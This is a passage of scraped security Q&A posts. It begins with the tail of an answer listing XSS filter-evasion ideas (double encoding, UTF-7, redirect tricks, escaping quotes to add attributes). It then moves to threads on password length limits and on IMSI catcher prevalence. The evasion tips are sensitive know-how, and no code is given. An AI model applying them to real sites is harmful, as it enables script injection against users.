HTML encode then URL encode.
Combinations of the above thereof.
Try UTF-7 XSS exploits.
Try constructing the URL from a redirect instead of via the browser address bar. Try different types of redirect: HTTP 3XX, JavaScript location (try setting different properties of the location object), meta refresh, redirect via Flash/Silverlight).

Find out how the application responds to the above probes. Maybe it isn't possible at all because in this case you definitely need to find a way of escaping the double quote in order to add your attribute.


Are there any security advantages to forcing a password-character limit on reset, but allowing unlimited character in password-login? I was resetting a password a few moments ago, and I was given a character limit of around 10 characters to make a secure password with.

After resetting the password, I went to enter my password, and noticed there is an unlimited (or much larger) character allowance in the field.

My question is, is there any actual security advantage to forcing a character-limit on password-reset, and then allowing unlimited characters on login?

To me it seems as if this is more along the lines of what I see people say around here of "Security through Obscurity."

Also, a negative I see to this is if people aren't paying attention to the field not allowing any characters after x, and then try to login with what they "think" is their password, they will be locked out of their account.  This is especially important since I didn't notice any warnings of character limits, which you usually see on sites.

I also wanted to mention that this ties into my other question here Why, after a certain character limit, are larger passwords labeled as "weak" on some sites? but wanted to separate them into separate questions.

It would have a slight advantage that bots or attackers that haven't done their reconnaissance properly may be wasting time on password guesses with passwords that the system can't possibly accommodate. If an attacker can register for their own account, they should have checked the maximum password length and other password rules by trying to reset their own.

This depends greatly though whether truncated passwords are accepted by the input field.

Also note that limiting password lengths in the first place isn't great, and could be an indication that the password is being stored insecurely.


What is the proliferation of IMSI Catchers? We know that IMSI-catcher detectors such as the Android-IMSI-Catcher-Detector project exist, but has anyone done a field study across various parts of the world as to how many there are and where?

Would be curious to see a map of the world (Google-Map-style) with pins or heatmaps of where these IMSI catchers are to demonstrate how prolific the technology is.

Bonus to what a distributed pytacle operation would cost and how to build? Something like Packet Forensics?

A 2014 discvery by prominent newspaper Aftenposten in Norway's capital, Oslo revealed several fake stations.
This image shows the german crypto phone in action (revealing fake stations)

Mind you, this is a small investigation that focused on politically/business sensitive areas of Oslo such as goverment buildings, embassies, high-profile enterprises etc.

The image is from this article
http://nottmagazine.com/2015/04/05/a-norwegian-watergate/

As for international statistics, your google is as good as mine.

EDIT: if you're curious about the phone, it has a built in firewall to detect suspicious behaviour http://www.cryptophone.de/